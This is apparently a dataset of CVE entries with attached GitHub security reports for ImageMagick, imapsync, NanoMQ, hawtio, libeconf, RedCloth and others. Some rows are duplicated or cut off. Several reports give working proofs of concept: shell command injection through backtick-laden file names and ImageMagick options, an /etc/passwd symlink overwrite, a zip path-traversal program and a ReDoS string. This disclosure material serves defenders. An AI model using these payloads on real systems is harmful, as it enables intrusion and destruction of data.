CVE-2023-2804 | 2023-05-25T22:15:09.443 | A heap-based buffer overflow issue was discovered in libjpeg-turbo in h2v2_merged_upsample_internal() function of jdmrgext.c file. The vulnerability can only be exploited with 12-bit data precision for which the range of the sample data type exceeds the valid sample range, hence, an attacker could craft a 12-bit lossless JPEG image that contains out-of-range 12-bit samples. An application attempting to decompress such image using merged upsampling would lead to segmentation fault or buffer overflows, causing an application to crash. | {

CVE-2023-2804 | 2023-05-25T22:15:09.443 | A heap-based buffer overflow issue was discovered in libjpeg-turbo in h2v2_merged_upsample_internal() function of jdmrgext.c file. The vulnerability can only be exploited with 12-bit data precision for which the range of the sample data type exceeds the valid sample range, hence, an attacker could craft a 12-bit lossless JPEG image that contains out-of-range 12-bit samples. An application attempting to decompress such image using merged upsampling would lead to segmentation fault or buffer overflows, causing an application to crash. | {

CVE-2022-39335 | 2023-05-26T14:15:09.600 | Synapse is an open-source Matrix homeserver written and maintained by the Matrix.org Foundation. The Matrix Federation API allows remote homeservers to request the authorization events in a room. This is necessary so that a homeserver receiving some events can validate that those events are legitimate and permitted in their room. However, in versions of Synapse up to and including 1.68.0, a Synapse homeserver answering a query for authorization events does not sufficiently check that the requesting server should be able to access them. The issue was patched in Synapse 1.69.0. Homeserver administrators are advised to upgrade. | {

CVE-2023-32323 | 2023-05-26T14:15:10.827 | Synapse is an open-source Matrix homeserver written and maintained by the Matrix.org Foundation. A malicious user on a Synapse homeserver X with permission to create certain state events can disable outbound federation from X to an arbitrary homeserver Y. Synapse instances with federation disabled are not affected. In versions of Synapse up to and including 1.73, Synapse did not limit the size of `invite_room_state`, meaning that it was possible to create an arbitrarily large invite event. Synapse 1.74 refuses to create oversized `invite_room_state` fields. Server operators should upgrade to Synapse 1.74 or newer urgently. | {

federation between my homeserver and matrix.org was broken. My homeserver was able to send messages but messages sent from matrix.org were never received. I was not the only server affected by this issue and another homeserver admin found a solution in [#synapse-admins](https://matrix.to/#/#synapse:matrix.org):

This patch worked for the original author and I confirm it is working for me too. I also made sure the parameter `client_max_body_size` in my nginx reverse-proxy was high enough. Increasing the value in nginx was not enough to fix the issue, the patch above was needed. I was affected by this bug since last weekend and I did a lot of tests by changing many values in nginx by increasing timeouts and size but nothing worked. I also tried changing synapse cache values and configs but that didn't do the trick either.
### Steps to reproduce
I do not know how to reproduce the initial conditions that caused the bug but the patch fixed the federation between my server and matrix.org.
### Homeserver
matrix.org was the server unable to send messages
### Synapse Version
1.72.0rc1 for matrix and I run 1.71.0
### Installation Method
Docker (matrixdotorg/synapse)
### Platform
Ubuntu LTS and I use the Ansible playbook from https://github.com/spantaleev/matrix-docker-ansible-deploy
### Relevant log output
```shell
here is an example of logs that I was seeing on my side:
Nov 17 21:46:19 localhost matrix-nginx-proxy[2836800]: 2022/11/18 02:46:19 [error] 30#30: *13315398 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 172.18.0.19, server: matrix-nginx-proxy, request: "PUT /_matrix/federation/v1/send/1668680027792 HTTP/1.0", upstream: "http://172.18.0.21:18111/_matrix/federation/v1/send/1668680027792", host: "matrix.anontier.nl"
here is a log that was submitted to me by a matrix developer:

] | ### Summary
the umask() call inside archive_write_disk_posix.c changes the umask of the whole process for a very short period of time and race condition with other thread can lead to permanent umask 0 setting:
_archive_write_disk_header(): umask(a->user_umask = umask(0));
**process has umask of 027**
**thread1** enters _archive_write_disk_header()
**thread1**: prev_umask = umask(0) -> returns 027
**thread1**: whole process has now umask of 0
**thread2** enters _archive_write_disk_header()
**thread2**: prev_umask = umask(0) -> returns 0
**thread1**: umask(prev_umask) sets to 027
**thread2**: umask (prev_umask) sets to 0
**whole process remains at umask of 0**
### Effects (vulnerability)
Such race condition could lead to implicit directory creation with permissions 777 without sticky bit, which means any low privileged user on this system can delete and rename files inside those directories.
This is a serious vulnerability on a multi-user system and admins might not even be aware of it. They probably need to scan their full rootfs for such directories to mitigate.
### Proposals
#### Short term: Adding info to README
Adding information to README to make users aware to mutex this call:
https://github.com/libarchive/libarchive/pull/1875
#### Potential solution for Linux (>= 4.7)
since linux kernel 4.7 rc1, the umask can be read from /proc fs without modifying it
see: https://github.com/torvalds/linux/commit/3e42979e65dace1f9268dd5440e5ab096b8dee59

] | I was running imapsync recently and noticed this flag description,
```
--pidfile str : The file where imapsync pid is written,
it can be dirname/filename complete path.
The default name is imapsync.pid in tmpdir.
```
This was a red flag because using predictable filenames under `/tmp` is a well-known source of vulnerabilities: https://owasp.org/www-community/vulnerabilities/Insecure_Temporary_File
In this case, I verified that (with the default options), imapsync can be tricked into overwriting files belonging to other users. The simplest proof-of-concept uses a symlink. Newer linux distributions enable a sysctl to protect against this specific attack, but the example should still work on a vanilla kernel or on other UNIX systems, and more complicated attacks (not involving a symlink) are possible.
If you're on linux, start by ensuring that the aforementioned sysctl is disabled:
```
root # sysctl fs.protected_symlinks=0
```
Now, as a normal user, create a symlink from `/tmp/imapsync.pid` to `/etc/passwd`:
```
mjo $ ln -s /etc/passwd /tmp/imapsync.pid
```
This works because `/tmp` is world-writable. Anyone can create a file, directory, or symlink at that location before imapsync tries to use it. Now, run imapsync as root:
```
root # imapsync <whatever>
```
You'll find that `/etc/passwd`, belonging to root, has essentially been deleted by the unprivileged user. Most file operations will follow a symlink, and in this case, the PID file was written to `/etc/passwd`.
The fundamental issue is that `/tmp` is world-writable by design which leads to all sorts of exploits like this. There are a lot of complicated and clever workarounds needed to make using `/tmp` (or `/var/tmp`) secure. In C, there are standard functions like `mkstemp()` that will create a temporary file securely. I'm not much of a perl programmer, but I believe File::Temp does the same thing in perl.
The `imapsync_cache` directory has the same issue; I can create it before you run imapsync and then I'm allowed to modify your cache. And while I haven't tried it, I would expect that `$CGI_TMPDIR_TOP` and `$CGI_HASHFILE` have a similar fate. | Secure /tmp usage | https://api.github.com/repos/imapsync/imapsync/issues/399/comments | 10 | 2023-05-23T14:59:57Z | 2023-12-04T22:41:13Z | https://github.com/imapsync/imapsync/issues/399 | 1,722,261,616 | 399 | 5,206 |

] | **Describe the bug**
Our team (School of Cyber Science and Technology, Shandong University)have found the a potential issue in the current version of nanomq,it may cause heap-use-after-free when it handles the publish messages
**Expected behavior**
We use ASAN to compile the target server, and when we send a large number of malformed data packets to it, it may crash and output the following information ：
the Call stack information is：
**Actual Behavior**
Describe what occurred.
**To Reproduce**
we will provide the POC below to the developer for validation:
[heap-use-after-free-poc.zip](https://github.com/emqx/nanomq/files/11235468/heap-use-after-free-poc.zip)
** Environment Details **
- NanoMQ version master branch version commit #8c54cd7
- Operating system and version Ubuntu 20.04
- Compiler and language used gcc 9.4.0 clang 10.0.0
- testing scenario
start nanomq with ./nanomq start
Send the packet：nc 127.0.0.1 1883 < heap-use-after-free-poc（Repeat multiple times）
util cause NanoMQ crashes
**Additional context**
To trigger the issue, it is necessary to continuously replay the poc multiple times until nanomq crashes,it may need 2 - 15 times

CVE-2023-33962 | 2023-05-30T22:15:10.933 | JStachio is a type-safe Java Mustache templating engine. Prior to version 1.0.1, JStachio fails to escape single quotes `'` in HTML, allowing an attacker to inject malicious code. This vulnerability can be exploited by an attacker to execute arbitrary JavaScript code in the context of other users visiting pages that use this template engine. This can lead to various consequences, including session hijacking, defacement of web pages, theft of sensitive information, or even the propagation of malware.
Version 1.0.1 contains a patch for this issue. To mitigate this vulnerability, the template engine should properly escape special characters, including single quotes. Common practice is to escape `'` as `'`. As a workaround, users can avoid this issue by using only double quotes `"` for HTML attributes. | {

] | The spec compliant escaping is probably unrealistic and not safe enough.
Backtick for example and equal are not escaped. The apostrophe missing is especially bad and an accident.
-----
EDIT if you are wondering how in the world someone could miss `'` for escaping HTML... you are in good company.
The TL;DR is originally the escaping code was [my own code for XML element content](https://github.com/agentgt/jatl/blob/master/src/main/java/com/googlecode/jatl/MarkupUtils.java) (yes that code is ancient but 10-15 years ago it was thought XHTML would win over HTML5 so XML escaping was preferred) as the plan was to somehow provide different escaping for attribute vs element as well as XML vs HTML.
The original Mustache spec only expected
* `"`
* `&`
* `<`
* `>`
But this is obviously not exhaustive for HTML as apostrophe is required unlike XML. I knew this and had planned on offering two escapers for JStachio as well as a lambda for attribute escaping.
I also knew apostrophe representation as an entity can be done in several ways and I had mentally thought about providing an option for that (eg &#39; vs &#x27; vs the nasty &apos;).
Fast forward many months with some refactoring / API redesign I somehow ended up with just the XML element content escaping with no single quote aka apostrophe escaping.
* <code>`</code>
* `'`
* `=`
@casid luckily saw the issue and reported and now we have a potential CVE (or at least requested). They didn't say what it was initially (as you should not in a bug) but I eventually deduced as that was one of the greatest features of JStachio is by nature of compiling it is generally very secure from lots of other attack points. So it was either file path stuff (e.g. `../../`) or escaping.
So yeah one of the bigger more embarrassing mistakes in my career/life as developer. I tried so hard to make sure 1.0.0 was solid did not have issues and here were are with basic XSS insecurity.
Going forward I will turn on as much checking as I can like adding Sonar, and CodeQL.
Thank you @casid for finding this. | More aggressive escaping | https://api.github.com/repos/jstachio/jstachio/issues/157/comments | 1 | 2023-05-28T17:07:43Z | 2023-05-29T13:06:59Z | https://github.com/jstachio/jstachio/issues/157 | 1,729,570,637 | 157 | 5,210 |

7.1.30-0
### Operating system
Linux
### Operating system, version and so on
Any
### Description
While reviewing historical vulnerabilities, I discovered several similar bugs just like issue #4985 which was later assigned CVE-2022-32546.
The original vulnerability relates to casting a width/height value in `double` to `size_t` or `unsigned long`, which denotes columns/rows number in pixels. The issue concerns about PCL format, and the fix (#4986 ) was about PCL only.
However, with a CodeQL rule, I am able to find almost the same issues in several other readers `ReadXXXImage` functions, like CAPTION, EMF, LABEL, MVG, PS, PS2, PS3, SVG, WMF. It was easy to construct sample mvg and svg files to trigger these bugs, as shown below.
### Steps to Reproduce
#### Prerequisite
configure ImageMagick with UBSAN. If compiled with gcc, specifically turn on `flow-cast-overflow`:
```bash
./configure CFLAGS='-g -fsanitize=address,undefined,float-cast-overflow -fsanitize-recover=address,undefined,float-cast-overflow' LDFLAGS='-fsanitize=address,undefined,float-cast-overflow -lasan -lubsan'
```
#### Trigger
Use the malformed sample files in the attached zip. The following commands demonstrates the bugs.
```bash
/data/home/fullwaywang/exp
➜ magick identify bitcoin.svg
coders/svg.c:2829:38: runtime error: 5e+24 is outside the range of representable values of type 'long unsigned int'
bitcoin.svg SVG 0x234 0x234+0+0 16-bit sRGB 19056B 0.010u 0:00.015
/data/home/fullwaywang/exp
➜ magick identify mvg:piechart.mvg
coders/mvg.c:180:33: runtime error: 5e+26 is outside the range of representable values of type 'long unsigned int'
identify: MustSpecifyImageSize `piechart.mvg' @ error/mvg.c/ReadMVGImage/186.

] | ### ImageMagick version
6.9.6-4
### Operating system
Linux
### Operating system, version and so on
Any
### Description
While reviewing historical vulnerabilities, I discovered an aribitary code execution vulnerability (shell command injection) in `OpenBlob`, which is actually an incomplete fix to CVE-2016-5118.
CVE-2016-5118 showed that opening any image file whose name starts with a '|' character, ImageMagick will `popen` the remaining part of the file name. As a fix, commit [ca430ff](https://github.com/ImageMagick/ImageMagick/commit/ca430ff77794980941ff0fa0d2fc463b50c2c6b7) add a configure option `--enable-pipes` to specially turn on the support of pipes; and in commit 40639d1, the invocation of `SanitizeString` is added before `popen_utf8` the filename to suppress aribitary command execution.
However, `SanitizeString` only filters out characters like single quotes but not `` ` `` or `"`. This allows shell command injection through malformed file name.
### Steps to Reproduce
#### Prerequisite
Configure ImageMagick with `./configure --enable-pipes`
#### Trigger
Given a normal image file, namely smile.gif, the following triggers the vulnerability:
```bash
/data/home/fullwaywang/exp
➜ echo deadbeef > test.txt
/data/home/fullwaywang/exp
➜ cp smile.gif '|smile"`cat test.txt > leak.txt`".gif'
/data/home/fullwaywang/exp
➜ magick identify '|smile"`cat test.txt > leak.txt`".gif'
sh: smile.gif: command not found
identify: ImproperImageHeader `/tmp/magick-UMqIH3bRZ6v-thgCZxEUhVyYUdKapEiV' @ error/gif.c/ReadGIFImage/1027.
/data/home/fullwaywang/exp
➜ cat leak.txt
deadbeef
```

] | ### ImageMagick version
7.1.0-1
### Operating system
Linux
### Operating system, version and so on
Any
### Description
In reviewing historical vulnerabilities in ImageMagick, I discovered a shell command injection vulnerability in encoding/decoding VIDEO files, which very much resembles CVE-2020-29599.
In commit cc4638d, extra options are supported in VIDEO decode delegate execution, and through later commits, ImageMagick supports user-defined options `video:vsync` and `video:pixel-format`, with their values concatenated into delegate command executed via `ExternalDelegateCommand`.
In `ExternalDelegateCommand`, the command string is sanitized with `SanitizeString`, scanned for illegal chars then `system()`. However, the illegal char set contains only `"&;<>|"`, not quot (see [link](https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/delegate.c#L443)). This is the same mistake as in sanitizing `-authenticate` parameter in PDF password support, but the common vulnerability in `ExternalDelegateCommand` did not get fixed.
### Steps to Reproduce
#### Trigger the vulnerability in VIDEO decoding
Given a normal video file, namely `test.mov`, the following demonstrates how command injection happens.
```bash
/data/home/fullwaywang/exp
➜ echo 'deadbeef' > test.txt
/data/home/fullwaywang/exp
➜ magick identify -define video:pixel-format='rgba"`cat test.txt > /tmp/leak.txt`"' test.mov >info.log
/data/home/fullwaywang/exp
➜ tail info.log
test.mov[891] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.320u 0:00.312
test.mov[892] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.310u 0:00.298
test.mov[893] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.290u 0:00.285
test.mov[894] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.280u 0:00.271
test.mov[895] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.260u 0:00.258
test.mov[896] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.250u 0:00.244
test.mov[897] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.230u 0:00.231
test.mov[898] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.220u 0:00.218
test.mov[899] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.210u 0:00.204
test.mov[900] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 445.5MiB 0.200u 0:00.191
/data/home/fullwaywang/exp
➜ cat /tmp/leak.txt
deadbeef
```
#### Trigger the vulnerability in VIDEO encoding
Given a normal image file, namely `smile.gif`, the following demonstrates how command injection happens.
```bash
/data/home/fullwaywang/exp
➜ magick convert -define video:pixel-format='rgba"`cat test.txt > /tmp/leak3.txt`"' smile.gif smile.mov
/data/home/fullwaywang/exp
➜ cat /tmp/leak3.txt
deadbeef
```

CVE-2023-2977 | 2023-06-01T01:15:17.917 | A vulnerbility was found in OpenSC. This security flaw cause a buffer overrun vulnerability in pkcs15 cardos_have_verifyrc_package. The attacker can supply a smart card package with malformed ASN1 context. The cardos_have_verifyrc_package function scans the ASN1 buffer for 2 tags, where remaining length is wrongly caculated due to moved starting pointer. This leads to possible heap-based buffer oob read. In cases where ASAN is enabled while compiling this causes a crash. Further info leak or more damage is possible. | {

On reviewing historical CVE vulnerabilities, I found a possible recurring vulnerability as CVE-2021-42782, which was reported by oss-fuzz and fixed in commit 1252aca.
The newly found issue exists in pkcs15-init module. Like the original bug in libopensc, `cardos_have_verifyrc_package` in pkcs15-cardos.c scans an ans1 buffer for 2 tags. The pointer `p` is moved after each `sc_asn1_find_tag` invocation, which results in the miscalculation of the length of left bytes in buffer and hence reading beyond the end of the buffer.
### Proposed Resolution
Almost the same patch like 1252aca will do:

## Description:
A stack-buffer-overflow vulnerability exists in the `read_file` function. The the vulnerability is triggered at `libeconf/lib/getfilecontents.c` line:503.
The statement is: `if (*(p + 1) != '\0' *(p + 1) = '\0';` (line 503).
The pointer variable `p` points to a location in the memory buffer `buf`.
The statements are that : `name = buf; ... ... p = strchr(name, comment[i]);`.
However, when the `strchr` function is used to search for characters in the string `name`, it does not check whether the pointer `p` is outside the bounds of the `name` array.
Finally, at line 503, `*(p + 1) = '\0'`, this assignment creates a stack overflow vulnerability if the location pointed to by `p` is outside the bounds of the buffer.
## Reproduction:
Please reproduce this vulnerability using the following PoC.
This PoC is obtained by modifying the input data based on the `test/tst-logindefs1.c` testcase .
Use this PoC to replace the `tst-logindefs1.c` file in the `libeconf/tests` directory and configure the C compiler to use the `-fsanitize=address` flag, as follows:
```command
CC=clang CXX=$CC CFLAGS="-O2 -g -fsanitize=address -L/root/ -shared-libasan" make -C build/ check -j8
```
The PoC file and the input file are [here](https://raw.githubusercontent.com/yangjiageng/PoC/master/libeconf-PoC/tst-logindefs1.c) and [here](https://github.com/yangjiageng/PoC/blob/master/libeconf-PoC/read_file_503), respectively.
Using this command : `/libeconfDir/build/tests/tst-logindefs1 read_file_503`, you will get the following outputs:
This is the corresponding information of this overflow vulnerability from AddressSanitizer.
And attackers can use this bug to achieve a DoS attack even remote code execution attack.
Please reproduce and fix this vulnerability.

## Description
A stack-buffer-overflow vulnerability exists in the `econf_writeFile` function. The vulnerability is triggered at `libeconf/lib/libeconf.c` line:546. The statement is: `while ((line = strsep(&value_string, "\n")) != NULL)` (line 546).
The corresponding statements as follows:
```c
if (key_file->file_entry[i].comment_before_key && strlen(key_file->file_entry[i].comment_before_key) > 0) {
char buf[BUFSIZ];
char *line;
char *value_string = buf;
strncpy(buf, key_file->file_entry[i].comment_before_key, BUFSIZ-1);
while ((line = strsep(&value_string, "\n")) != NULL) {
fprintf(kf, "%c%s\n", key_file->comment, line);
}
}
```
In this code, a `buf` buffer of 8192 bytes is defined and the contents of `key_file->file_entry[i].comment_before_key` are copied into the `buf`.
The `strncpy` function is used here, which ensures that the size of `buf` is not exceeded when copying, so the process does not result in a buffer overflow vulnerability.
Next, when using the `strsep` function, the `value_string` pointer is pointed to the beginning of the buf buffer.
The `strsep` function alone will not cause a buffer overflow vulnerability. However, in the `strncpy` function, if the length of `key_file->file_entry[i].comment_before_key` is greater than or equal to the size of buf, then it will not add the null character at the end of `buf`.
This may result in the `strsep` function not correctly identifying the end position of the string when splitting it, thus causing a buffer overflow.
## Reproduction
Please reproduce this vulnerability using the following PoC.
This PoC is obtained by modifying the input data based on the `test/tst-write-string-data.c` testcase.
Use this PoC to replace the `tst-write-string-data.c` file in the `libeconf/tests` directory and configure the C compiler to use the `-fsanitize=address` flag, as follows:
```cmd
CC=clang CXX=$CC CFLAGS="-O2 -g -fsanitize=address -L/root/ -shared-libasan" make -C build/ check -j8
```
The PoC file and the input file are [here](https://raw.githubusercontent.com/yangjiageng/PoC/master/libeconf-PoC/tst-write-string-data.c) and [here](https://github.com/yangjiageng/PoC/blob/master/libeconf-PoC/econf_writeFile_546), respectively.
You must create a corpus subdirectory under the directory where you run the test target `tst-write-string-data` in order to run the test target correctly.
Using this command: `cd /libeconfDir/build/tests && mkdir corpus` and `/libeconfDir/build/tests/tst-write-string-data econf_writeFile_546`, you will get the following outputs:
This is the corresponding information of this overflow vulnerability from AddressSanitizer.
And attackers can use this bug to achieve a DoS attack even remote code execution attack.

In the method "unzip" (line 111) of the file https://github.com/hawtio/hawtio/blob/268bca24c61c88c76ea661533514082954e38ed5/hawtio-util/src/main/java/io/hawt/util/Zips.java#L111 , it is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite and other situations.
# Proof of Concept
I use a maven project import the utility in pom.xml.
```xml
<dependency>
<groupId>io.hawt</groupId>
<artifactId>hawtio-util</artifactId>
<version>2.17.2</version>
</dependency>
```
Use the following zip() method to create a zip file from a txt file, and the name of the compressed file will be renamed to "..\..\a\b\c\poc.txt". (You should create this path firstly)
Then call the Zips.unzip() method, originally intended to unzip the file to "D:\project\TestProject\ICFuzzTest\testData\unzip", but it will eventually be extracted to its another directory "D:\project\TestProject\ICFuzzTest\a\b\c\poc.txt".
This may cause the original file to be overwritten by a high-risk file.
```java
import io.hawt.util.Zips;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
/**
* 在Hawtio中存在unZip方法，可能有路径穿越的问题
*/
public class HawtioUnzip {
//https://github.com/hawtio/hawtio/blob/268bca24c61c88c76ea661533514082954e38ed5/hawtio-util/src/main/java/io/hawt/util/Zips.java#L111
public static void main(String[] args) throws IOException {
zip(); // create a poc
String zipFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip";
String destination = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip";
InputStream in = new FileInputStream(zipFile);
Zips.unzip(in, new File(destination));
}
// create a poc
public static void zip() {
ZipOutputStream zos = null;
try {
zos = new ZipOutputStream(new FileOutputStream(
"D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip"));
String srcFile = "..\\..\\a\\b\\c\\poc.txt"; // the next filePath
String destFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.txt";
zos.putNextEntry(new ZipEntry(srcFile));
FileInputStream in = new FileInputStream(destFile);
int len;
byte[] buf = new byte[1024];
while ((len = in.read(buf)) != -1) {
zos.write(buf, 0, len);
}
zos.closeEntry();
in.close();
} catch (Exception e) {
throw new RuntimeException("zip error from ZipUtils", e);
} finally {
if (zos != null) {
try {
zos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
```
The following is the constructed zip file:
https://github.com/Zlase0820/VulnData/blob/main/src.main/data/poc.zip
# Suggestion
I think we can add a simple verification check on the path to avoid this issue. We can refer to other verification methods for unzip under Apache, such as:
https://github.com/apache/druid/blob/master/processing/src/main/java/org/apache/druid/utils/CompressionUtils.java#L242
He has the same error,and fixed in CVE-2023-27603.

### bug analysis
in fsck/main.c: erofsfsck_parse_options_cfg()
var `fsckcfg.exract_path` is alloc by `PATH_MAX` which value is `4096`
```
fsckcfg.extract_path = malloc(PATH_MAX);
```
when the directory is too deep and the path name is concatenated to exceed 4096，it will lead heap overflow when `strncpy` try to concatenate string of path.
```c
static int erofsfsck_dirent_iter(struct erofs_dir_context *ctx)
{
int ret;
size_t prev_pos = fsckcfg.extract_pos;
if (ctx->dot_dotdot)
return 0;
if (fsckcfg.extract_path) {
size_t curr_pos = prev_pos;
fsckcfg.extract_path[curr_pos++] = '/';
strncpy(fsckcfg.extract_path + curr_pos, ctx->dname, // over flow at here
ctx->de_namelen);
curr_pos += ctx->de_namelen;
fsckcfg.extract_path[curr_pos] = '\0';
fsckcfg.extract_pos = curr_pos;
}
ret = erofsfsck_check_inode(ctx->dir->nid, ctx->de_nid);

CVE-2023-32690 | 2023-06-01T17:15:09.947 | libspdm is a sample implementation that follows the DMTF SPDM specifications. Prior to versions 2.3.3 and 3.0, following a successful CAPABILITIES response, a libspdm Requester stores the Responder's CTExponent into its context without validation. If the Requester sends a request message that requires a cryptography operation by the Responder, such as CHALLENGE, libspdm will calculate the timeout value using the Responder's unvalidated CTExponent.
A patch is available in version 2.3.3. A workaround is also available. After completion of VCA, the Requester can check the value of the Responder's CTExponent. If it greater than or equal to 64, then the Requester can stop communication with the Responder. | {

If the value of CTExponent is greater than or equal to 64 then C language undefined behavior is invoked.

MarsCTF found in its V1.2.1 version that there is an arbitrary file upload vulnerability in the interface for uploading attachments in the background. Attackers can construct filenames like `../../file` to upload arbitrary files to arbitrary directories.
### unsafe code
https://github.com/b1ackc4t/MarsCTF/blob/V1.2.1/src/main/java/com/b1ackc4t/marsctfserver/service/impl/CTFFileServiceImpl.java#L46
```java
public ReturnRes upload(MultipartFile file) {
if (file.isEmpty()) {
return new ReturnRes(false, "上传失败，请选择文件");
}
String fileName = file.getOriginalFilename();
String snowId = String.valueOf(SnowFlakeUtil.generatorUid());
File pathFile = new File(uploadPath, snowId); // 为每个文件单独创建一个文件夹 文件夹名采用雪花算法
String path = pathFile.toString();
if (!pathFile.mkdir()) {
return new ReturnRes(false, "上传失败，服务器错误");
}
File dest = new File(path, fileName);
try {
file.transferTo(dest); // 上传成功
CTFFile ctfFile = new CTFFile(new File(snowId, fileName).toString());
int lastIndexOf = fileName.lastIndexOf(".");
String ext = lastIndexOf != -1 ? fileName.substring(lastIndexOf + 1) : "";
ctfFile.setFname(dest.getName());
ctfFile.setSize(dest.length()); // 单位字节
ctfFile.setExt(ext);
this.save(ctfFile);
return new ReturnRes(true, ctfFile.getFid());
} catch (IOException e) {
e.printStackTrace();
}
return new ReturnRes(false, "上传失败，服务器错误");
}
```

] | **Describe the bug**
We (School of Cyber Science and Technology, Shandong University) found that NanoMQ can cause buffer overflow when it processes malformed SUBSCRIBE messages.
This vulnerability is different from https://github.com/emqx/nanomq/issues/1153
**Expected behavior**
If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information.
**Actual Behavior**
If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information, which can cause DOS.
**To Reproduce**
Similarly, we will send a vulnerability POC via email (jaylin@emqx.io) to help developers fix this vulnerability.
**Environment Details**
- NanoMQ version：master branch version commit #a72347c （As it is also the current HEAD version of [gitee](https://gitee.com/emqx/nanomq?_from=gitee_search) ）
- Operating system and version：Ubuntu 20.04
- Compiler and language used：gcc 9.4.0 clang 10.0.0
- testing scenario
1. start nanomq with ./nanomq start
2. Send the packet：nc 127.0.0.1 1883 < ./poc2.raw
3. NanoMQ crashes

] | There is a security vulnerability in this gem. I tried to communicate with the maintainers in an email, but still haven't got a response, I'm raising the issue here.
**Vulnerable Code:**
https://github.com/jgarber/redcloth/blob/v4.3.2/lib/redcloth/formatters/html.rb#L327
The above code has */<(\/*)([A-Za-z]\w*)([^>]*?)(\s?\/?)>/* regex and it matches user-provided input with the regex pattern, the above regex is vulnerable to ReDOS
* Run the test.rb (provided below) with the `time ruby test.rb` command and observe the time and CPU taken to process it
* RedCloth.new(text, [:sanitize_html]).to_html function will trigger the same function, so run the below code and observe the processing time
```
require 'RedCloth'
text = '<A' + 'A' * (54773)
text = RedCloth.new(text, [:sanitize_html]).to_html
```
**Test Output:**
Fix:
* Rebuild the regex used as not vulnerable to ReDOS
* You can use [Recheck](https://makenowjust-labs.github.io/recheck/playground/) to check if a regex is vulnerable to ReDOS | ReDOS possible in the sanitize_html function | https://api.github.com/repos/jgarber/redcloth/issues/73/comments | 13 | 2023-04-12T17:14:02Z | 2023-11-03T01:52:26Z | https://github.com/jgarber/redcloth/issues/73 | 1,664,939,145 | 73 | 5,231 |

] | A security issue was discovered in [secrets-store-csi-driver](https://github.com/kubernetes-sigs/secrets-store-csi-driver) where an actor with access to the driver logs could observe service account tokens. These tokens could then potentially be exchanged with external cloud providers to access secrets stored in cloud vault solutions. Tokens are only logged when [TokenRequests is configured in the CSIDriver object](https://kubernetes-csi.github.io/docs/token-requests.html) and the driver is set to run at log level 2 or greater via the -v flag.
This issue has been rated **MEDIUM** [CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) (6.5), and assigned **CVE-2023-2878**
**Am I vulnerable?**
You may be vulnerable if [TokenRequests is configured in the CSIDriver object](https://kubernetes-csi.github.io/docs/token-requests.html) and the driver is set to run at log level 2 or greater via the -v flag.
To check if token requests are configured, run the following command:
```shell
kubectl get csidriver secrets-store.csi.k8s.io -o jsonpath="{.spec.tokenRequests}"
```
To check if tokens are being logged, examine the secrets-store container log:
```shell
kubectl logs -l app=secrets-store-csi-driver -c secrets-store -f | grep --line-buffered "csi.storage.k8s.io/serviceAccount.tokens"
```
**Affected Versions**
- secrets-store-csi-driver < 1.3.3
**How do I mitigate this vulnerability?**
Prior to upgrading, this vulnerability can be mitigated by running secrets-store-csi-driver at log level 0 or 1 via the -v flag.
**Fixed Versions**
- secrets-store-csi-driver >= 1.3.3
To upgrade, refer to the documentation: [https://secrets-store-csi-driver.sigs.k8s.io/getting-started/upgrades.html#upgrades](https://secrets-store-csi-driver.sigs.k8s.io/getting-started/upgrades.html#upgrades)
**Detection**
Examine cloud provider logs for unexpected token exchanges, as well as unexpected access to cloud vault secrets.
If you find evidence that this vulnerability has been exploited, please contact [security@kubernetes.io](mailto:security@kubernetes.io)

- Operating system and architecture: ubuntu20.04.1,x86_64
- Compiler flags: clang with ASAN and UBSAN instrument
# Bug description
The AddressSanitizer (ASAN) tool has detected multiple heap-use-after-free errors and a segmentation fault (SEGV) in the Python interpreter. The heap-use-after-free errors occurred in the ascii_decode and unicode_decode_utf8 functions in the unicodeobject.c file, and the SEGV occurred in the tok_backup function in the tokenizer.c file. Additionally, a memory leak was detected in the pystate.c file.
# Steps to reproduce
1. Compile Python with ASAN enabled: `./configure && make`
1. Run Python with ASAN enabled: `./python < poc_file`
1. The heap-use-after-free errors and SEGV should be detected and logged by ASAN.
# Expected behavior
No heap-use-after-free errors or SEGV should occur.
# Actual behavior
ASAN detected multiple heap-use-after-free errors and a SEGV, as well as a memory leak.
# Relevant logs and/or screenshots

We (School of Cyber Science and Technology, Shandong University) found that NanoMQ can cause buffer overflow when it processes malformed PUBLISH messages.
**Expected behavior**
If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information.
**Actual Behavior**
Describe what occurred.
**To Reproduce**
From a vulnerability disclosure point of view, I will email(jaylin@emqx.io) the POC to the developer for validation since it's possible to achieve at least a DoS pretty easily.
** Environment Details **
- NanoMQ version：master branch version commit #a72347c （As it is also the current HEAD version of [gitee](https://gitee.com/emqx/nanomq?_from=gitee_search) ）
- Operating system and version：Ubuntu 20.04
- Compiler and language used：gcc 9.4.0 clang 10.0.0
- testing scenario
1. start nanomq with ./nanomq start
2. Send the packet：nc 127.0.0.1 1883 < ./poc.raw
3. NanoMQ crashes

- testing scenario
start nanomq with ./nanomq start
Send the packet：nc 127.0.0.1 1883 < heap-use-after-free-poc（Repeat multiple times）
util cause NanoMQ crashes
**Additional context**
